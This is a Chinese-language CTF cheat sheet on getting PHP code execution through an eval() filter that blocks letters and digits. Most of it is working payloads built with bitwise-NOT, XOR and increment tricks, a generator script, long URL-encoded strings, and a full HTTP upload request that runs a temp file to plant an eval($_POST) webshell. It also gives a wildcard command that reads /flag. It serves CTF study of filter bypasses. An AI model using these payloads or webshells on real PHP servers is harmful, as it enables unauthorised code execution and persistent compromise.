PHP无字母数字RCE

CTF有时会碰到这种类型题，故在这里总结一下，日后有新的操作再补上

利用条件：eval($_GET['exp']);

限制条件：preg_match('[a-z0-9]/is', $exp)

测试代码如下：

<?php
    if(!preg_match('/[a-z0-9]/is',$_GET['exp'])) {
  		eval($_GET['exp']);
	}

取反

php版本：PHP Version 7.2.24-0

exp

echo urlencode(~'exp');

payload

echo urlencode(~'phpinfo'); 
(~%8F%97%8F%96%91%99%90)();  ==>  phpinfo();

echo urlencode(~'assert');
echo urlencode(~'(eval($_POST["a"]))');
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2%D6%D6);  ==>  assert('eval($_POST["a"])')

测试结果如下

异或

php版本：PHP Version 7.2.24-0

exp

// 跑出非字母数字异或得到的 $str
$str = 'GET';
$exp1 = '';
$exp2 = '';
for ($k = 0; $k < strlen($str); $k++) {
    $flag = 0;
    for ($i = 0; $i < 128; $i++) {
        if (($i >= 48 && $i <= 57) || ($i >= 65 && $i <= 90) || ($i >= 97 && $i <= 122)) {
            continue;
        }
        for ($j = 0; $j < 128; $j++) {
            if (($j >= 48 && $j <= 57) || ($j >= 65 && $j <= 90) || ($j >= 97 && $j <= 122)) {
                continue;
            }
            if ((chr($i) ^ chr($j)) === $str[$k]) {
                $exp1 = $exp1.urlencode(chr($i));
                $exp2 = $exp2.urlencode(chr($j));
                $flag = 1;
                break;
            }
        }
        if($flag === 1){
            break;
        }
    }
}
echo $exp1.'^'.$exp2."\n";

payload

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
==>  phpinfo()
    
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
==>  assert("eval($_POST['a'])")

测试结果如下

类似的

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);

自增

payload

<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__='';  //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符，即a。这里$_=$_[0]也是一样的道理，不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E  把两个短杠赋值为E
$_=++$_; //F  一个短杠继续自增
$_=++$_; //G 
$__=$_.$__; // GE  一个短杠自增变成了G，两个短杠在前面第十一行处已经赋值为E，拼接得GE
$_=++$_; //H 此处一个短杠继续自增，为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处，两条短杠原是GE与一条短杠（已经自增为T），.=拼接，构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接，$_GET['_']($_GET['__']);

url编码后：
%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

url编码后：
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b

注意这两个payload利用的话要php版本小于7才能成功利用，

php5中assert是一个函数，我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中，assert不再是函数，变成了一个语言结构（类似eval），不能再作为函数名动态执行代码，所以利用起来稍微复杂一点。但也无需过于担心，比如我们利用file_put_contents函数，同样可以用来getshell。

测试结果如下

短标签

PHP中有两种短标签，<??>和<?=?>。其中，<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>.

例如：

<?='whoami'?>  //输出  whoami
<?=`whoami`?>  //输出  命令执行后的结果

PHP中POST上传文件会把我们上传的文件暂时存在/tmp文件夹中，默认文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。

尝试生成执行的文件，payload：

. /???/????????[@-[]

最后的[@-[]表示ASCII在@和[之间的字符，也就是大写字母，所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。

exp数据包

POST /?exp=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: xxxxxx:2333
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 106

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

echo "<?php eval(\$_POST['shell']);" > success.php
----------123--

即可getshell

拿flag的话还可以使用通配符

code=?><?=`/???/??? /????`?>

其中/???/??? /????匹配/bin/cat /flag，这样也能得到flag

参考

• 一些不包含数字和字母的webshell
• 通过一道代码审计题目来练习无数字字母构造webshell
• 无字母数字webshell之提高篇
• 无字母数字webshell总结